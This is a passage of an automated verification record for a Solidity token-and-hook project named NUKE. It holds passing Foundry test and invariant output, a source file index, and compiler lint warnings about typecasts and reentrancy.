214.61ms (203.61ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesReverseOrderTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 390274, ~: 392408)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 437887)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 649998)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 6550675)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 961602)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1117886)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 777766)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 225.53ms (233.32ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 385098, ~: 382779)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 431655)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 643673)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 6516293)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 961966)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1120960)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 766985)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 236.21ms (220.03ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 366752, ~: 368087)\nLogs:\n  Bound result 99999000000000000009464\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1131304, ~: 1131323)\nLogs:\n  Bound result 1097\n  Bound result 1101\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 672543)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 470188)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1249615)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 3318219)\n[PASS] test_dustFeeRoundsDown() (gas: 369128)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 774098)\n[PASS] test_exactInputBuy() (gas: 365837)\n[PASS] test_exactInputSell() (gas: 359353)\n[PASS] test_exactOutputBuy() (gas: 364733)\n[PASS] test_exactOutputSell() (gas: 360243)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 10499678)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 810997)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 10668559)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 707267)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 327889)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 5503507)\n[PASS] test_partialExactInputBuy() (gas: 366112)\n[PASS] test_partialExactInputSell() (gas: 360651)\n[PASS] test_partialExactOutputBuy() (gas: 364686)\n[PASS] test_partialExactOutputSell() (gas: 359726)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 696093)\n[PASS] test_permissionsAndDeployment() (gas: 1901781)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 28168)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 418076)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 242.43ms (467.60ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86330, ~: 86525)\nLogs:\n  Bound result 999999999999999999999999997\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 242.46ms (243.04ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 469434, ~: 504792)\nLogs:\n  Bound result 9000000000000003154\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 242.53ms (221.20ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 361603, ~: 359582)\nLogs:\n  Bound result 99999000000000003987999\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1116301, ~: 1116323)\nLogs:\n  Bound result 64\n  Bound result 2434\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 666930)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 464447)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1244117)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 11769475)\n[PASS] test_dustFeeRoundsDown() (gas: 355274)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 762571)\n[PASS] test_exactInputBuy() (gas: 355072)\n[PASS] test_exactInputSell() (gas: 360118)\n[PASS] test_exactOutputBuy() (gas: 355404)\n[PASS] test_exactOutputSell() (gas: 359572)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 31919221)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 795140)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 32096000)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 689556)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 322637)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 13131709)\n[PASS] test_partialExactInputBuy() (gas: 355647)\n[PASS] test_partialExactInputSell() (gas: 361116)\n[PASS] test_partialExactOutputBuy() (gas: 354525)\n[PASS] test_partialExactOutputSell() (gas: 359894)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 685328)\n[PASS] test_permissionsAndDeployment() (gas: 1901781)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 28086)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 408251)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 242.48ms (466.69ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2836  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2666  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2690  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 3621\n  Bound result 5940\n  Bound result 825976287\n  Bound result 499999999999900001775\n  Bound result 3646\n  Bound result 6242\n  Bound result 67028440726\n  Bound result 499999999999900170562\n  Bound result 5393\n  Bound result 3848\n  Bound result 6532\n  Bound result 499999999999900010542\n  Bound result 3787\n  Bound result 3701\n  Bound result 499999999999900003471\n  Bound result 499999999999900002678\n  Bound result 5453\n  Bound result 499999999999900002472\n  Bound result 499999999999900001046\n  Bound result 499999999999900007377\n  Bound result 3602\n  Bound result 3601\n  Bound result 499999999999900005891\n  Bound result 499999999999900002104\n  Bound result 7199\n  Bound result 499999999999900002837\n  Bound result 4665\n  Bound result 499999999999900007640\n  Bound result 342384473364052108096\n  Bound result 5367\n  Bound result 3923\n  Bound result 3601\n  Bound result 499999999999900004412\n  Bound result 499999999999900003424\n  Bound result 3605\n  Bound result 3606\n  Bound result 3719\n  Bound result 3607\n  Bound result 499999999999900008889\n  Bound result 499999999999900013226\n  Bound result 3645\n  Bound result 499999999999900005722\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.63s (1.61s CPU time)\n\nRan 3 tests for test/StatefulAccounting.t.sol:StatefulAccountingReverseOrderTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 3445  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 3510  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 3547  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 3518  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 3612  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 3474  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 3470  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5744\n  Bound result 9731\n  Bound result 428488177553892341230\n  Bound result 1\n  Bound result 295\n  Bound result 79\n  Bound result 9497012\n  Bound result 40\n  Bound result 1121\n  Bound result 99\n  Bound result 1668\n  Bound result 15381\n  Bound result 5\n  Bound result 15725\n  Bound result 33540518\n  Bound result 82\n  Bound result 2856\n  Bound result 613648741164720\n  Bound result 1\n  Bound result 9710\n  Bound result 617473289682950446408\n  Bound result 1034\n  Bound result 9091\n  Bound result 4\n  Bound result 9288\n  Bound result 6292\n  Bound result 9557\n  Bound result 27\n  Bound result 255\n  Bound result 22\n  Bound result 1\n  Bound result 925819614629174704967\n  Bound result 676235469715056303569\n  Bound result 96\n  Bound result 15110\n  Bound result 5678\n  Bound result 10098\n  Bound result 2\n  Bound result 2313\n  Bound result 6918\n  Bound result 97\n  Bound result 3165\n  Bound result 0\n  Bound result 8461\n  Bound result 15510\n  Bound result 2213\n  Bound result 27\n  Bound result 50\n  Bound result 3600\n  Bound result 12271\n  Bound result 49\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 959287)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 2302944)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n  Bound result 3600\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.82s (5.80s CPU time)\n\nRan 3 tests for test/StatefulAccounting.t.sol:StatefulAccountingTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 3445  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 3510  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 3547  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 3518  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 3612  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 3474  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 3470  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5744\n  Bound result 467\n  Bound result 428488177553892341230\n  Bound result 1\n  Bound result 2637\n  Bound result 26\n  Bound result 9497012\n  Bound result 40\n  Bound result 384\n  Bound result 99\n  Bound result 4374\n  Bound result 219\n  Bound result 5\n  Bound result 788044795333652773853\n  Bound result 19\n  Bound result 9\n  Bound result 3814\n  Bound result 613648741164720\n  Bound result 1\n  Bound result 10085\n  Bound result 9149\n  Bound result 600\n  Bound result 299999\n  Bound result 4\n  Bound result 3745\n  Bound result 6292\n  Bound result 10614\n  Bound result 27\n  Bound result 255\n  Bound result 22\n  Bound result 1\n  Bound result 1218\n  Bound result 288439585967764011100\n  Bound result 96\n  Bound result 1691\n  Bound result 7637\n  Bound result 11474\n  Bound result 2\n  Bound result 2053\n  Bound result 13051\n  Bound result 53\n  Bound result 517440283\n  Bound result 0\n  Bound result 722366482869645213691\n  Bound result 16397\n  Bound result 3264\n  Bound result 57\n  Bound result 50\n  Bound result 3600\n  Bound result 14089\n  Bound result 1\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 961078)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 2311535)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n  Bound result 3600\n\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.83s (5.81s CPU time)\n\nRan 11 test suites in 5.84s (14.93s CPU time): 88 tests passed, 0 failed, 1 skipped (89 total tests)\n","passed":true},{"durationMs":68,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":100,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":31,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":272,\"test/Conservation.t.sol\":108,\"test/MainnetFork.t.sol\":82,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":360,\"test/README.md\":29,\"test/SettlementEdges.t.sol\":287,\"test/StatefulAccounting.t.sol\":293,\"test/helpers/ClaimActor.sol\":76,\"test/helpers/HookFixture.sol\":138,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c639987a9162c61ea1bccbef26e03ae40882c2a9a7d3d875f7868b236634629e","verifiedTreeHash":"5de8f4e059a019c4d99d62d9528c84c3d99cc417","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":85415,"exitCode":0,"name":"build","output":"Compiling 86 files with Solc 0.8.26\nSolc 0.8.26 finished in 85.27s\nCompiler run successful!\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:121:9\n    │\n121 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:119:25\n    │\n119 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:119:50\n    │\n119 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:42\n    │\n133 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:87\n    │\n133 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:134:25\n    │\n134 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:154:13\n    │\n154 │             emit FeeAccrued(currency, fee);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:150:23\n    │\n150 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:156:44\n    │\n156 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:156:51\n    │\n156 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:190:16\n    │\n190 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:196:29\n    │\n196 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:198:9\n    │\n198 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `lastBatch` is updated\n    ╭▸ src/NUKEHook.sol:215:13\n    │\n215 │         try poolManager.unlock(abi.encode(budget, limit)) returns (bytes memory result) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:205:13\n    │\n205 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:228:9\n    │\n228 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:22\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:30\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:67\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:208:75\n    │\n208 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:220:39\n    │\n220 │             if (reason.length != 4 || bytes4(reason) != EmptyBatch.selector) {\n    │                                       ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:245:81\n    │\n245 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:246:25\n    │\n246 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:247:26\n    │\n247 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:256:13\n    │\n256 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:285:43\n    │\n285 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:277:13\n    │\n277 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:286:17\n    │\n286 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:278:27\n    │\n278 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain 